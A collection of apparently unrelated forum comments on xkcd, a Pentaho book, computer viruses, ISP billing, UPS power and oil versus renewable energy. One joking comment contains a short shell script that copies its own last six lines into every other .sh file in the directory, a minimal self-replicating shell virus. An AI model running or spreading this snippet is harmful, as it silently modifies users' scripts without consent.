Last Monday's xkcd comic (xkcd.com/753/) conveys a similar concept, in the mouseover text.

Perhaps you'd also like the key to the apartment where the money is?

Awesome review! Truly enlightening. Before I saw this article, I had absolutely no idea what Pentaho was, or why I would want it. Now, I know exactly what I'm getting both my friends for Christmas this year. I can't wait to discuss all 492 pages of this treasure with them in the new year.

That trillion dollars wasn't destroyed; it just got redistributed to people that are not me.

how's you get the indents, btw?

for i in *.sh ; do

grep -q "`tail -n6 $0`" $i

if test "./$i" != "$0" -a $? != 0; then

tail -n6 $0 | cat >> $i

fi

done

What's a "virus"? I can't find any reference to it in portage:

emerge -s virus
Searching...
[ Results for search key : virus ]
[ Applications found : 0 ]

And what do condoms have to do with computer security, anyway?

(ducks for cover)

Amen. And by "Hunt down", I assume he must mean "Read their usage total out of the customer database". BFD. I'm sure there's a specified overage rate in the contract somewhere. I don't understand why he would want to throttle their usage instead of billing them for the overage.

My TrippLite UPS simiulates AC sinusoidal from its DC battery. I'm not sure how it works, but I'm pretty sure it's all solid state, no moving parts. Maybe BOB could do the same thing.

Uh, yeah. That's kind of the whole point of building an alternative power infrastructure. Energy is energy, whether it comes from oil, from a solar panel, or from dogs running on a treadmill. It takes a certain amount of energy to construct a wind turbine, and the source of the energy has no effect on the quality of construction.

Look, I get what you're trying to say. Even if I had a self contained wind turbine factory out in my back yard, and all I had to do to build a wind turbine was to hook it up to a battery, feed it some input materials and push the "Start" button, I would still have issues. I could charge the battery with a wind turbine or a solar panel or some dogs running on a treadmill, but I would still need those input materials, things like copper wire, aluminum and steel, in sheets and blocks, circuit boards, etc. Some of those inputs are still very much products of a civilization that runs on oil, whether it is in their manufacture or in their transport. So yeah, if the oil ran out tomorrow, we'd be screwed.

However, the oil is not going to run out tomorrow. We can use the oil infrastructure of today to build the alternative energy infrastructure of tomorrow. This isn't as huge a task as one might think. The world's factories will run just as well on hydro-electric power as they will on coal-electric power. The real issue is going to be transportation, since most industrial transportation is based on oil powered vehicles. It's a long way to China from New York. But even this isn't as bad as one might think. If Brazil can run on ethanol, then so can anyone else. Then there's biodiesel. Either one of these alternatives will work in current fossil engines, so we can incrementally wean ourselves off oil before it starts to become scarce.

Our ultimate goal should be to have a manufacturing infrastructure that is independent of its energy source. Energy should be a generic input to the industrial machine, just like the material inputs. That way when the oil runs out, we can build our wind turbines with wind power.

Great. It's a spam gun. Way to go Uncle Sam. This thing has to contravene the Geneva Convention for inhumane weapons.

I agree. Children often make mistakes. They need to be protected from their inexperience. The school is merely filling the role of a big brother, who naturally wants to guide and protect his younger siblings from the dangers of the modern world.

Yo dawg, we heard you like space stations, so we put a space station on your space station, so you can work in space while you work in space!

anyone see a spec for the panel they're using in this thing? type/resolution/depth/response etc...